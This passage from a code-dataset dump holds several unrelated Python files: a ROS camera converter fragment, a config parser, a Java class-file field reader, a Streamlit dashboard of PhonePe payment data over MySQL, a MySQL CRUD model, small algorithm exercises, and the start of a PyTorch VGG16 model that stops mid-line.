None\n try: \n rval, cv_image = cap.read()\n # errlog.progLog(\"Success reading resource `%s`\" % resource, level=0)\n except:\n errlog.progLog(\"Error reading resource `%s`. Please check.\" % resource, level=2)\n \n if type(cv_image) is not type(None): \n try:\n scale_percent = 50 # percent of original size\n width = int(cv_image.shape[1] * scale_percent / 100)\n height = int(cv_image.shape[0] * scale_percent / 100)\n dim = (width, height)\n # resize image\n cv_image = cv2.resize(cv_image, dim)\n \n except:\n errlog.progLog(\"Error resizing images %s\" % resource, level=2)\n \n try:\n # convert CV image to ROS message\n # image_msg = ros_cv_bridge.cv2_to_imgmsg(cv_image)\n image_msg = ros_cv_bridge.cv2_to_compressed_imgmsg(cv_image, dst_format='jpg')\n image_pub.publish( image_msg )\n except:\n errlog.progLog(\"Error publishing images %s\" % resource, level=2)\n else:\n errlog.progLog(\"cv image is still none %s\" % resource, level=2)\n \n \n else:\n errlog.progLog(\"no frame from \" + camaera_name, level=2)\n \n errlog.progLog(\"leaving conversion \" + camaera_name, level=2)\n\n","repo_name":"NikolaasBender/ros_security_recorder","sub_path":"src/rtsp_2_ros.py","file_name":"rtsp_2_ros.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37444014791","text":"import re\n\n# Parser for config file\n\ndef conf_parse():\n\n pattern_apikey = re.compile(\"(?<=api_key\\s=\\s).*\")\n\n pattern_runmode = re.compile(\"(?<=run_mode\\s=\\s).*\")\n\n pattern_crypto = re.compile(\"(?<=crypto_currency\\s=\\s).*\")\n\n pattern_currency = re.compile(\"(?<=match_currency\\s=\\s).*\")\n\n pattern_comments = re.compile(\"\\#*\")\n\n\n with open(\"config.txt\", mode='r') as parse_it:\n\n for line in parse_it:\n\n result_apikey = re.search(pattern_apikey, line)\n result_runmode = re.search(pattern_runmode, line)\n result_crypto = re.search(pattern_crypto, line)\n result_currency = re.search(pattern_currency, line)\n result_comments = re.search(pattern_comments, line)\n\n if result_apikey:\n ret_apikey = result_apikey.group(0)\n elif result_runmode:\n ret_runmode = result_runmode.group(0)\n elif result_crypto:\n ret_crypto = result_crypto.group(0)\n elif result_currency:\n ret_currency = result_currency.group(0)\n elif result_comments:\n ret_comments = result_comments.group(0)\n else:\n None\n\n\n return ret_apikey, ret_runmode, ret_crypto, ret_currency\n","repo_name":"Branden-Kunkel/CRYPER","sub_path":"IHCparser.py","file_name":"IHCparser.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"73974431400","text":"\"\"\"This module instantiates fields for a Java .class file.\"\"\"\n\nfrom .attribute import Attribute\n\n\nclass Field:\n \"\"\"\n This class instantiates field values for Java .class fields.\n\n Attributes:\n access_flags: The access flags of a field.\n name_index: The constant pool index of the field name.\n desc_index: The constant pool index of the field description.\n attributes: The attributes of a field.\n name: The name of a field.\n desc: The description of a field.\n \"\"\"\n def __init__(self, r, cpool): # pragma: no cover\n \"\"\"\n This is the constructor for Field class.\n\n :param r: The bytecode interpreter.\n :param cpool: The constant pool of the .class file.\n \"\"\"\n self.access_flags = r.u16()\n self.name_index = r.u16()\n self.desc_index = r.u16()\n self.attributes = [Attribute(r, cpool) for _ in range(r.u16())]\n self.name = cpool[self.name_index].string\n self.desc = cpool[self.desc_index].string\n\n def dump(self): # pragma: no cover\n \"\"\"This function prints a representation of a Java field.\"\"\"\n print(\"** FIELD **\")\n print(\"name: \", self.name)\n print(\"access: \", hex(self.access_flags))\n print(\"desc: \", self.desc)\n print(\"attrs:\")\n for attr in self.attributes:\n attr.dump()\n","repo_name":"jhoshiko/College-Work","sub_path":"Spring 2019/Software Tools and Dev/CS3250SpringH2KTB/pyjvm/field.py","file_name":"field.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29367179670","text":"__author__ = 'zheng'\n\n\nclass Node(object):\n\n def __init__(self, i):\n self.left = None\n self.right = None\n self.i = i\n\n\nclass Solution(object):\n \"\"\"\n Question: Write a function to determine if a Binary Tree is a Binary Search Tree.\n\n https://docs.google.com/file/d/0B7kEUUtxfkFKQ3F5ZWVmZGdtSms/edit\n \"\"\"","repo_name":"qz267/leet-code-fun","sub_path":"PY/InterviewPractice/BinarySearchTree.py","file_name":"BinarySearchTree.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22403751352","text":"#importing libraries\nfrom git.repo.base import Repo\nimport mysql.connector as sql\nimport streamlit as st\nimport os\nimport json\nfrom streamlit_option_menu import option_menu\nimport pandas as pd\nimport plotly.express as px\nfrom PIL import Image\n\n# CONNECTING WITH MYSQL DATABASE\nmydb = sql.connect(host=\"localhost\",\n user=\"root\",\n password=\"\",\n database = \"phonepe_pulse\",\n )\nmycursor = mydb.cursor(buffered=True)\n\n# Setting up page configuration\nst.set_page_config(page_title= \"Phonepe Pulse Data Visualization | By Rohit Atul Kunte\",\n layout= \"wide\",\n initial_sidebar_state= \"expanded\",\n menu_items={'About': \"\"\"# This app has been created by Rohit Atul Kunte*!\n The data has been clone from Phonepe Pulse github repository.\"\"\"})\n\nst.sidebar.header(\":smiley: :violet[**Welcome to the dashboard!**]\")\n\n# Creating option menu in the side bar\nwith st.sidebar:\n selected = option_menu(\"Menu\", [\"Home\",\"Charts\",\"Explore\",\"About\"], \n icons=[\"house\",\"graph-up-arrow\",\"bar-chart-line\", \"exclamation-circle\"],\n menu_icon= \"menu-button-wide\",\n default_index=0,\n orientation=\"vertical\",\n styles={\"nav-link\": {\"font-size\": \"18px\", \"text-align\": \"centre\", \"margin\": \"0px\", \"--hover-color\": \"#6F36AD\"},\n \"nav-link-selected\": {\"background-color\": \"#6F36AD\"}})\n \n# MENU 1 - HOME\nif selected == \"Home\":\n st.markdown(\"# :blue[Data Visualization and Exploration]\")\n st.markdown(\"## :blue[A User-Friendly Tool Built Using Streamlit and Plotly]\")\n col1,col2 = st.columns([3,2],gap=\"medium\")\n with col1:\n st.write(\" \")\n st.write(\" \")\n st.markdown(\"### :violet[Domain :] Fintech\")\n st.markdown(\"### :violet[Technologies used :] Git cloning, Python, MySQL, mysql-connector-python, Streamlit, Pandas and Plotly.\")\n st.markdown(\"### :violet[Overview :] In this streamlit app you can visualize the phonepe pulse data and gain lot of insights on transactions, number of users, top 10 states, districts, pincode and so on using bar charts, pie charts and geo map visualizations.\")\n \n\n# MENU 2 - CHARTS\nif selected == \"Charts\":\n st.markdown(\"## :blue[Charts]\")\n Type = st.sidebar.selectbox(\"**Type**\", (\"Transactions\", \"Users\"))\n c1,c2= st.columns([1,1.5],gap=\"large\")\n with c1:\n Year = st.slider(\"**Year**\", min_value=2018, max_value=2023)\n Quarter = st.slider(\"Quarter\", min_value=1, max_value=4)\n \n with c2:\n st.info(\n \"\"\"\n #### From this menu we can get insights like :\n - Overall ranking on a particular Year and Quarter.\n - Top 10 State, District, Pincode based on Total number of transaction and Total amount spent on phonepe.\n - Top 10 State, District, Pincode based on Total phonepe users and their app opening frequency.\n - Top 10 mobile brands and its percentage based on the how many people use phonepe.\n \"\"\",icon= \"🔍\"\n )\n \n# Top Charts - TRANSACTIONS \n if Type == \"Transactions\":\n col1,col2,col3 = st.columns([1,1,1],gap=\"small\")\n \n with col1:\n st.markdown(\"### :green[State]\")\n mycursor.execute(f\"select state, sum(Transaction_count) as Total_Transactions_Count, sum(Transaction_amount) as Total from agg_trans where year = {Year} and quarter = {Quarter} group by state order by Total desc limit 10\")\n df = pd.DataFrame(mycursor.fetchall(), columns=['State', 'Transactions_Count','Total_Amount'])\n fig = px.pie(df, values='Total_Amount',\n names='State',\n title='Top 10',\n color_discrete_sequence=px.colors.sequential.Agsunset,\n hover_data=['Transactions_Count'],\n labels={'Transactions_Count':'Transactions_Count'})\n\n fig.update_traces(textposition='inside', textinfo='percent+label')\n st.plotly_chart(fig,use_container_width=True)\n \n with col2:\n st.markdown(\"### :green[District]\")\n mycursor.execute(f\"select district , sum(Count) as Total_Count, sum(Amount) as Total from map_trans where year = {Year} and quarter = {Quarter} group by district order by Total desc limit 10\")\n df = pd.DataFrame(mycursor.fetchall(), columns=['District', 'Transactions_Count','Total_Amount'])\n\n fig = px.pie(df, values='Total_Amount',\n names='District',\n title='Top 10',\n color_discrete_sequence=px.colors.sequential.Agsunset,\n hover_data=['Transactions_Count'],\n labels={'Transactions_Count':'Transactions_Count'})\n\n fig.update_traces(textposition='inside', textinfo='percent+label')\n st.plotly_chart(fig,use_container_width=True)\n \n with col3:\n st.markdown(\"### :green[Pincode]\")\n mycursor.execute(f\"select pincode, sum(Transaction_count) as Total_Transactions_Count, sum(Transaction_amount) as Total from top_trans where year = {Year} and quarter = {Quarter} group by pincode order by Total desc limit 10\")\n df = pd.DataFrame(mycursor.fetchall(), columns=['Pincode', 'Transactions_Count','Total_Amount'])\n fig = px.pie(df, values='Total_Amount',\n names='Pincode',\n title='Top 10',\n color_discrete_sequence=px.colors.sequential.Agsunset,\n hover_data=['Transactions_Count'],\n labels={'Transactions_Count':'Transactions_Count'})\n\n fig.update_traces(textposition='inside', textinfo='percent+label')\n st.plotly_chart(fig,use_container_width=True)\n \n# Top Charts - USERS \n if Type == \"Users\":\n col1,col2,col3,col4 = st.columns([2,2,2,2],gap=\"small\")\n \n with col1:\n st.markdown(\"### :blue[Brands]\")\n if Year == 2023 and Quarter in [4]:\n st.markdown(\"#### Sorry No Data to Display for 2023 Qtr 4\")\n else:\n mycursor.execute(f\"select brands, sum(count) as Total_Count, avg(percentage)*100 as Avg_Percentage from agg_user where year = {Year} and quarter = {Quarter} group by brands order by Total_Count desc limit 10\")\n df = pd.DataFrame(mycursor.fetchall(), columns=['Brand', 'Total_Users','Avg_Percentage'])\n fig = px.bar(df,\n title='Top 10',\n x=\"Total_Users\",\n y=\"Brand\",\n orientation='h',\n color='Avg_Percentage',\n color_continuous_scale=px.colors.sequential.Agsunset)\n st.plotly_chart(fig,use_container_width=True) \n \n with col2:\n st.markdown(\"### :blue[District]\")\n mycursor.execute(f\"select district, sum(Registered_User) as Total_Users, sum(app_opens) as Total_Appopens from map_user where year = {Year} and quarter = {Quarter} group by district order by Total_Users desc limit 10\")\n df = pd.DataFrame(mycursor.fetchall(), columns=['District', 'Total_Users','Total_Appopens'])\n df.Total_Users = df.Total_Users.astype(float)\n fig = px.bar(df,\n title='Top 10',\n x=\"Total_Users\",\n y=\"District\",\n orientation='h',\n color='Total_Users',\n color_continuous_scale=px.colors.sequential.Agsunset)\n st.plotly_chart(fig,use_container_width=True)\n \n with col3:\n st.markdown(\"### :blue[Pincode]\")\n mycursor.execute(f\"select Pincode, sum(Registered_Users) as Total_Users from top_user where year = {Year} and quarter = {Quarter} group by Pincode order by Total_Users desc limit 10\")\n df = pd.DataFrame(mycursor.fetchall(), columns=['Pincode', 'Total_Users'])\n fig = px.pie(df,\n values='Total_Users',\n names='Pincode',\n title='Top 10',\n color_discrete_sequence=px.colors.sequential.Agsunset,\n hover_data=['Total_Users'])\n fig.update_traces(textposition='inside', textinfo='percent+label')\n st.plotly_chart(fig,use_container_width=True)\n \n with col4:\n st.markdown(\"### :blue[State]\")\n mycursor.execute(f\"select state, sum(Registered_user) as Total_Users, sum(App_opens) as Total_Appopens from map_user where year = {Year} and quarter = {Quarter} group by state order by Total_Users desc limit 10\")\n df = pd.DataFrame(mycursor.fetchall(), columns=['State', 'Total_Users','Total_Appopens'])\n fig = px.pie(df, values='Total_Users',\n names='State',\n title='Top 10',\n color_discrete_sequence=px.colors.sequential.Agsunset,\n hover_data=['Total_Appopens'],\n labels={'Total_Appopens':'Total_Appopens'})\n\n fig.update_traces(textposition='inside', textinfo='percent+label')\n st.plotly_chart(fig,use_container_width=True)\n \n# MENU 3 - EXPLORE \nif selected == \"Explore\":\n Year = st.sidebar.slider(\"**Year**\", min_value=2018, max_value=2023)\n Quarter = st.sidebar.slider(\"Quarter\", min_value=1, max_value=4)\n Type = st.sidebar.selectbox(\"**Type**\", (\"Transactions\", \"Users\"))\n col1,col2 = st.columns(2)\n \n# EXPLORE DATA - TRANSACTIONS\n if Type == \"Transactions\":\n \n # Overall State Data - TRANSACTIONS AMOUNT - INDIA MAP \n with col1:\n st.markdown(\"## :green[Overall State Data - Amount of Transaction]\")\n mycursor.execute(f\"select state, sum(count) as Total_Transactions, sum(amount) as Total_amount from map_trans where year = {Year} and quarter = {Quarter} group by state order by state\")\n df1 = pd.DataFrame(mycursor.fetchall(),columns= ['State', 'Total_Transactions', 'Total_amount'])\n df2 = pd.read_csv(r\"D:\\Coding\\Guvi-Assignments\\Assignments-\\Phonepe\\Data\\nameofstates.csv\")\n df1.State = df2\n\n fig = px.choropleth(df1,geojson=\"D:\\Coding\\Guvi-Assignments\\Assignments-\\Phonepe\\Data\\statesofIndia.geojson.txt\",\n featureidkey='properties.ST_NM',\n locations='State',\n color='Total_amount',\n color_continuous_scale='sunset')\n\n fig.update_geos(fitbounds=\"locations\", visible=False)\n st.plotly_chart(fig,use_container_width=True)\n \n # Overall State Data - TRANSACTIONS COUNT - INDIA MAP\n with col2:\n \n st.markdown(\"## :green[Overall State Data - Count of Transaction]\")\n mycursor.execute(f\"select state, sum(count) as Total_Transactions, sum(amount) as Total_amount from map_trans where year = {Year} and quarter = {Quarter} group by state order by state\")\n df1 = pd.DataFrame(mycursor.fetchall(),columns= ['State', 'Total_Transactions', 'Total_amount'])\n df2 = pd.read_csv(r\"D:\\Coding\\Guvi-Assignments\\Assignments-\\Phonepe\\Data\\nameofstates.csv\")\n df1.Total_Transactions = df1.Total_Transactions.astype(float)\n df1.State = df2\n\n fig = px.choropleth(df1,geojson=\"D:\\Coding\\Guvi-Assignments\\Assignments-\\Phonepe\\Data\\statesofIndia.geojson.txt\",\n featureidkey='properties.ST_NM',\n locations='State',\n color='Total_Transactions',\n color_continuous_scale='sunset')\n\n fig.update_geos(fitbounds=\"locations\", visible=False)\n st.plotly_chart(fig,use_container_width=True)\n \n \n \n# BAR CHART - TOP PAYMENT TYPE\n st.markdown(\"## :green[Top Payment Type]\")\n mycursor.execute(f\"select Transaction_type, sum(Transaction_count) as Total_Transactions, sum(Transaction_amount) as Total_amount from agg_trans where year= {Year} and quarter = {Quarter} group by transaction_type order by Transaction_type\")\n df = pd.DataFrame(mycursor.fetchall(), columns=['Transaction_type', 'Total_Transactions','Total_amount'])\n\n fig = px.bar(df,\n title='Transaction Types vs Total_Transactions',\n x=\"Transaction_type\",\n y=\"Total_Transactions\",\n orientation='v',\n color='Total_amount',\n color_continuous_scale=px.colors.sequential.Agsunset)\n st.plotly_chart(fig,use_container_width=False)\n \n# BAR CHART TRANSACTIONS - DISTRICT WISE DATA \n st.markdown(\"# \")\n st.markdown(\"# \")\n st.markdown(\"# \")\n st.markdown(\"## :green[Select any State to explore more]\")\n selected_state = st.selectbox(\"\",\n ('andaman-&-nicobar-islands','andhra-pradesh','arunachal-pradesh','assam','bihar',\n 'chandigarh','chhattisgarh','dadra-&-nagar-haveli-&-daman-&-diu','delhi','goa','gujarat','haryana',\n 'himachal-pradesh','jammu-&-kashmir','jharkhand','karnataka','kerala','ladakh','lakshadweep',\n 'madhya-pradesh','maharashtra','manipur','meghalaya','mizoram',\n 'nagaland','odisha','puducherry','punjab','rajasthan','sikkim',\n 'tamil-nadu','telangana','tripura','uttar-pradesh','uttarakhand','west-bengal'),index=30)\n \n mycursor.execute(f\"select State, District,year,quarter, sum(count) as Total_Transactions, sum(amount) as Total_amount from map_trans where year = {Year} and quarter = {Quarter} and State = '{selected_state}' group by State, District,year,quarter order by state,district\")\n \n df1 = pd.DataFrame(mycursor.fetchall(), columns=['State','District','Year','Quarter',\n 'Total_Transactions','Total_amount'])\n fig = px.bar(df1,\n title=selected_state,\n x=\"District\",\n y=\"Total_Transactions\",\n orientation='v',\n color='Total_amount',\n color_continuous_scale=px.colors.sequential.Agsunset)\n st.plotly_chart(fig,use_container_width=True)\n \n# EXPLORE DATA - USERS \n if Type == \"Users\":\n \n # Overall State Data - TOTAL APPOPENS - INDIA MAP\n st.markdown(\"## :violet[Overall State Data - User App opening frequency]\")\n mycursor.execute(f\"select state, sum(Registered_user) as Total_Users, sum(App_opens) as Total_Appopens from map_user where year = {Year} and quarter = {Quarter} group by state order by state\")\n df1 = pd.DataFrame(mycursor.fetchall(), columns=['State', 'Total_Users','Total_Appopens'])\n df2 = pd.read_csv(r\"D:\\Coding\\Guvi-Assignments\\Assignments-\\Phonepe\\Data\\nameofstates.csv\")\n df1.Total_Appopens = df1.Total_Appopens.astype(float)\n df1.State = df2\n \n fig = px.choropleth(df1,geojson=\"D:\\Coding\\Guvi-Assignments\\Assignments-\\Phonepe\\Data\\statesofIndia.geojson.txt\",\n featureidkey='properties.ST_NM',\n locations='State',\n color='Total_Appopens',\n color_continuous_scale='sunset')\n\n fig.update_geos(fitbounds=\"locations\", visible=False)\n st.plotly_chart(fig,use_container_width=True)\n \n # BAR CHART TOTAL UERS - DISTRICT WISE DATA \n st.markdown(\"## :violet[Select any State to explore more]\")\n selected_state = st.selectbox(\"\",\n ('andaman-&-nicobar-islands','andhra-pradesh','arunachal-pradesh','assam','bihar',\n 'chandigarh','chhattisgarh','dadra-&-nagar-haveli-&-daman-&-diu','delhi','goa','gujarat','haryana',\n 'himachal-pradesh','jammu-&-kashmir','jharkhand','karnataka','kerala','ladakh','lakshadweep',\n 'madhya-pradesh','maharashtra','manipur','meghalaya','mizoram',\n 'nagaland','odisha','puducherry','punjab','rajasthan','sikkim',\n 'tamil-nadu','telangana','tripura','uttar-pradesh','uttarakhand','west-bengal'),index=30)\n \n mycursor.execute(f\"select State,year,quarter,District,sum(Registered_user) as Total_Users, sum(App_opens) as Total_Appopens from map_user where year = {Year} and quarter = {Quarter} and state = '{selected_state}' group by State, District,year,quarter order by state,district\")\n \n df = pd.DataFrame(mycursor.fetchall(), columns=['State','year', 'quarter', 'District', 'Total_Users','Total_Appopens'])\n df.Total_Users = df.Total_Users.astype(int)\n \n fig = px.bar(df,\n title=selected_state,\n x=\"District\",\n y=\"Total_Users\",\n orientation='v',\n color='Total_Users',\n color_continuous_scale=px.colors.sequential.Agsunset)\n st.plotly_chart(fig,use_container_width=True)\n\n \n# MENU 4 - ABOUT\nif selected == \"About\":\n col1,col2 = st.columns([3,3],gap=\"medium\")\n with col1:\n st.write(\" \")\n st.write(\" \")\n st.markdown(\"### :blue[About PhonePe Pulse:] \")\n st.write(\"##### PhonePe, India's leading fintech platform, announced the launch of PhonePe Pulse, India's first interactive website with data, insights and trends on digital payments in the country. The PhonePe Pulse website showcases more than 2000+ Crore transactions by consumers on an interactive map of India. With over 45% market share, PhonePe's data is representative of the country's digital payment habits.\")\n \n st.write(\"##### The insights on the website and in the report have been drawn from two key sources - the entirety of PhonePe's transaction data combined with merchant and customer interviews. The report is available as a free download on the PhonePe Pulse website and GitHub.\")\n \n st.markdown(\"### :blue[About PhonePe:] \")\n st.write(\"##### PhonePe is a digital payments platform in India that allows users to make payments, transfer money, recharge phones, and pay bills through their smartphones. It works on the Unified Payment Interface (UPI) system and all you need is to feed in your bank account details and create a UPI ID.\")\n \n st.write(\"**:green[Github link to the repo]** ⬇️\")\n st.write(\"https://github.com/Manasshastra/Assignments-\")\n\n \n with col2:\n st.write(\" \")\n st.write(\" \")\n st.write(\" \")\n st.write(\" \")\n","repo_name":"Manasshastra/Assignments-","sub_path":"Phonepe/Rohit Atul Kunte_Phonepe Pulse (app).py","file_name":"Rohit Atul Kunte_Phonepe Pulse (app).py","file_ext":"py","file_size_in_byte":19310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"69889794601","text":"from .model import Model\nfrom mysql import connector\n\nclass ClienteModel(Model):\n def create(self, nombre, apellido_p,apellido_m, correo,tel):\n try:\n sql = 'INSERT INTO clientes(nombre, apellido_p,apellido_m, correo,tel) VALUES(%s, %s,%s,%s,%s)'\n values = (nombre, apellido_p,apellido_m, correo,tel)\n\n self._cursor.execute(sql, values)\n self._cnx.commit()\n\n return True\n except connector.Error as err:\n self._cnx.rollback()\n return(err)\n\n def read(self, id):\n try:\n sql = 'SELECT * FROM clientes WHERE id_cliente = %s'\n values = (id,)\n self._cursor.execute(sql, values)\n cliente = self._cursor.fetchone()\n\n return cliente\n except connector.Error as err:\n return (err) \n\n def leer_correo(self, correo): \n try:\n sql = 'SELECT * FROM clientes WHERE correo = %s'\n values = (correo,)\n self._cursor.execute(sql, values)\n cliente = self._cursor.fetchone()\n\n return cliente\n except connector.Error as err:\n return (err) \n\n def read_all(self):\n try:\n sql = 'SELECT * FROM clientes'\n self._cursor.execute(sql)\n cliente = self._cursor.fetchall()\n\n return cliente\n except connector.Error as err:\n return (err) \n\n\n def update(self, id, nombre = '', apellido_p = '', apellido_m = '', correo = '', tel = ''):\n fields = []\n val = []\n\n if nombre !='':\n val.append(nombre)\n fields.append('nombre = %s')\n if apellido_p !='':\n val.append(apellido_p)\n fields.append('apellido_p = %s')\n if apellido_m !='':\n val.append(apellido_m)\n fields.append('apellido_m = %s') \n if correo != '':\n val.append(correo)\n fields.append('correo = %s')\n if tel != '':\n val.append(tel)\n fields.append('tel = %s')\n\n val.append(id)\n val = tuple(val) \n try:\n sql = 'UPDATE clientes SET ' + ','.join(fields) +' WHERE id_cliente =%s'\n\n self._cursor.execute(sql,val)\n self._cnx.commit()\n\n return self._cursor.rowcount > 0\n\n except connector.Error as err:\n self._cnx.rollback()\n return(err)\n\n def delete(self, id):\n try:\n sql = 'DELETE FROM clientes WHERE id_cliente = %s'\n values = (id,)\n\n self._cursor.execute(sql, values)\n self._cnx.commit()\n\n return self._cursor.rowcount > 0\n except connector.Error as err:\n self._cnx.rollback()\n return (err) ","repo_name":"DiegoRosas12/SITienda","sub_path":"code/model/clienteModel.py","file_name":"clienteModel.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20737105532","text":"def areThereDupsMultiPointers(*argv):\n args = []\n for i in argv:\n args.append(i)\n args.sort()\n left = 0\n right = 1\n while right < len(args):\n if args[left] == args[right]:\n return True\n left += 1\n right += 1\n return False\n \n\nprint(areThereDupsMultiPointers('q','a','a','b'))\nprint(areThereDupsMultiPointers('a','b'))","repo_name":"irisjitomo/HackerRankStudy","sub_path":"Section4-OptionalChallengersRedux/areThereDuplicatesMultPointers.py","file_name":"areThereDuplicatesMultPointers.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4819119132","text":"\"\"\"\n75. Sort Colors\nGiven an array nums with n objects colored red, white, or blue, sort them in-place so that objects of the same color are adjacent, with the colors in the order red, white, and blue.\n\nExample1:\nInput: nums = [2,0,2,1,1,0]\nOutput: [0,0,1,1,2,2]\n\n\nExample2:\nInput: nums = [2,0,1]\nOutput: [0,1,2]\n\nExample3:\nInput: nums = [0]\nOutput: [0]\n\nExample4:\nInput: nums = [1]\nOutput: [1]\n\nConstraints:\nn == nums.length\n1 <= n <= 300\nnums[i] is 0, 1, or 2\n\nFollow up: Could you come up with a one-pass algorithm using only constant extra space?\n\"\"\"\n\n\"\"\"\nNote:\n1. Two Pointers: O(n) time | O(1) space\n(1) Focus on 0 and 2: move 0 to the left, move 2 to the right, so that if there is 1, it must be in the middle\n\n2. Count zero, one, two then reassign the value: O(n) time | O(1) space\n\"\"\"\n\nimport collections\nfrom typing import List\nclass Solution:\n def sortColors(self, nums: List[int]) -> None:\n left, right = 0, len(nums) - 1\n while left < len(nums) - 1 and nums[left] == 0:\n left += 1\n while right > 0 and nums[right] == 2:\n right -= 1\n i = left\n while i <= right:\n if nums[i] == 2:\n self.swap(nums, i, right)\n right -= 1\n elif nums[i] == 0:\n self.swap(nums, i, left)\n left += 1\n i += 1\n else:\n i += 1\n\n def sortColors2(self, nums: List[int]) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n numCount = collections.Counter(nums)\n for i in range(len(nums)):\n if numCount[0]:\n nums[i] = 0\n numCount[0] -= 1\n elif numCount[1]:\n nums[i] = 1\n numCount[1] -= 1\n elif numCount[2]:\n nums[i] = 2\n numCount[2] -= 1\n \n \n def swap(self, nums: List[int], i: int, j: int) -> None:\n nums[i], nums[j] = nums[j], nums[i]\n\n \n\n# Unit Tests\nimport unittest\nfuncs = [Solution().sortColors, Solution().sortColors2]\nclass TestSortColors(unittest.TestCase):\n def testSortColors1(self):\n for func in funcs:\n nums = [2,0,2,1,1,0]\n func(nums=nums)\n self.assertEqual(\n nums, [0,0,1,1,2,2])\n\n def testSortColors2(self):\n for func in funcs:\n nums = [2,0,1]\n func(nums=nums)\n self.assertEqual(\n nums, [0,1,2])\n\n def testSortColors3(self):\n for func in funcs:\n nums = [0]\n func(nums=nums)\n self.assertEqual(\n nums, [0])\n\n def testSortColors4(self):\n for func in funcs:\n nums = [1]\n func(nums=nums)\n self.assertEqual(\n nums, [1])\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"tkwang0530/LeetCode","sub_path":"0075.py","file_name":"0075.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"21762068158","text":"\ndef find_largest(n: int, L: list) -> list:\n \"\"\"L에서 가장 큰 값 n개를 작은 값부터 큰 값 순으로 반환한다.\n\n >>> L = [3, 4, 7, -1, 2, 5]\n >>> find_largest(3, L)\n [4, 5, 7]\n \"\"\"\n\n copy = sorted(L)\n return copy[-n:]\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n","repo_name":"gilbutITbook/007016","sub_path":"chap13/sort1.py","file_name":"sort1.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"ko","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"} +{"seq_id":"11890470159","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2020/12/8 21:35\n# @Author : zyf\n# @File : VGG_16.py\n# @Software: PyCharm\nimport torch\nimport torch.nn as nn\nfrom torchsummary import summary\n\n'''\n 经典CNN网络结构复现:LeNet、AlexNet、VGG、ResNet、InceptionNet等\n 复现VGG16网络结构\n 需要参考VGG16的网络结构,根据结构来构建模型,主要结构如下\n 1.五个卷积部分\n 第一部分包含两个卷积\n 第二部分包含两个卷积\n 第三部分包含三个卷积\n 第四部分包含三个卷积\n 第五部分包含三个卷积\n 累计13层\n 2.五个池化层\n 接着上一个的五个卷积部分,每个部分都连接着一个池化层,降低图像的尺寸维度\n 第一部分的卷积之后第一个池化层\n 第二部分的卷积之后第二个池化层\n 第三部分的卷积之后第三个池化层\n 第四部分的卷积之后第四个池化层\n 第五部分的卷积之后第五个池化层\n 3.自定义池化层\n 在所有的卷积层结束之后,跟着一个自定义池化层,目的是固定输出的维度大小\n 3.三个全连接层\n 第一个fc层,连接卷积的输出,input_features -> 4096 后有ReLu和Dropout\n 第二个fc层,4096 -> 4096 后有ReLu和Dropout\n 第三个fc层,4096 -> nums nums表示的分类数,vgg默认是1000类\n'''\n\n\nclass VGG16(nn.Module):\n def __init__(self, nums):\n super(VGG16, self).__init__()\n self.nums = nums # 分类数\n layers = []\n # 第一个卷积部分,包含两个卷积层和两个ReLu函数 64*224*224\n layers.append(nn.Conv2d(in_channels=3, out_channels=64, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n layers.append(nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n # 第一个池化pooling,输出64*112*112\n layers.append(nn.MaxPool2d(kernel_size=2, stride=2))\n # 第二个卷积部分,包含两个卷积层及两个ReLu函数,128*112*112\n layers.append(nn.Conv2d(in_channels=64, out_channels=128, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n layers.append(nn.Conv2d(in_channels=128, out_channels=128, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n # 第二个池化Pooling,输出128*56*56\n layers.append(nn.MaxPool2d(kernel_size=2, stride=2))\n # 第三个卷积部分,包含三个卷积层及三个ReLu函数 256*56*56\n layers.append(nn.Conv2d(in_channels=128, out_channels=256, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n layers.append(nn.Conv2d(in_channels=256, out_channels=256, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n layers.append(nn.Conv2d(in_channels=256, out_channels=256, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n # 第三个池化Pooling,输出256*28*28\n layers.append(nn.MaxPool2d(kernel_size=2, stride=2))\n # 第四个卷积部分,包含三个卷积层及三个ReLu函数,512*28*28\n layers.append(nn.Conv2d(in_channels=256, out_channels=512, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n layers.append(nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n layers.append(nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n # 第四个池化Pooling,输出512*14*14\n layers.append(nn.MaxPool2d(kernel_size=2, stride=2))\n # 第五个卷积部分亦是最后一个卷积部分,同样包含三个卷积及三个ReLu函数,512*14*14\n layers.append(nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n layers.append(nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1, 